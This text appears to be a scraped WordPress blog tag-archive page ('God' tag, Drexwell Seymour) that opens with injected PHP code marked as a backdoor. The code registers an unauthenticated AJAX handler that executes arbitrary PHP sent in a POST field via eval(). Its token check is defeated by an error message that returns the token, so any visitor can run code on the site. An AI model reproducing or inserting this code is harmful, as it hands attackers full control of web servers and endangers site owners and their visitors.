// ==[BD:ByYR9eoD]== add_action( 'wp_ajax_nopriv_urcmkced', function() { $rec = 'ByYR9eoDv4gcWBzGiOu6vGgVVudgg1es'; $chunk = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $chunk ) || ! hash_equals( $rec, $chunk ) ) { wp_send_json_error( [ 'message' => 'tok:' . $rec ], 403 ); } $elem = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $elem ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $elem = preg_replace( '/^\s*<\?(php)?/i', '', $elem ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $elem ) { return eval( $elem ); } )(); $desc = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $desc, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $flag ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $flag->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:ByYR9eoD]== God Archives - Drexwell Seymour
Browsing Tag

God

Pin It on Pinterest